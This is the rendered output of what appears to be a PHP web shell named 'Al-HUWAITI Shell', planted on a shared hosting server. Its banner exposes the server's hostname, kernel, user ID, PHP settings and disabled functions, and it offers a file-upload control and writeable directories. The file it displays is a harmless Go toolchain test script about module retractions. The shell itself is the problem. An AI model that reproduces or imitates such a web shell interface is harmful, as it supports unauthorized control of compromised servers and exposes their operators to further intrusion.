Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1333.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u141265441 ( 141265441)
PHP Version : 8.4.3
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /proc/self/root/opt/golang/1.22.0/src/cmd/go/testdata/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/opt/golang/1.22.0/src/cmd/go/testdata/script/mod_retract_rename.txt
# Populate go.sum.
go get

# 'go list -m -retracted' should load retractions, even if the version
# containing retractions has a different module path.
go list -m -retracted -f '{{with .Retracted}}retracted{{end}}' example.com/retract/rename

# 'go list -m -u' should load retractions, too.
go list -m -u -f '{{with .Retracted}}retracted{{end}}' example.com/retract/rename

# 'go get' should warn about the retracted version.
go get
stderr '^go: warning: example.com/retract/rename@v1.0.0-bad: retracted by module author: bad$'

# We can't upgrade, since this latest version has a different module path.
! go get example.com/retract/rename
stderr 'module declares its path as: example.com/retract/newname'

-- go.mod --
module example.com/use

go 1.16

require example.com/retract/rename v1.0.0-bad
-- use.go --
package use

import _ "example.com/retract/rename"

Al-HUWAITI Shell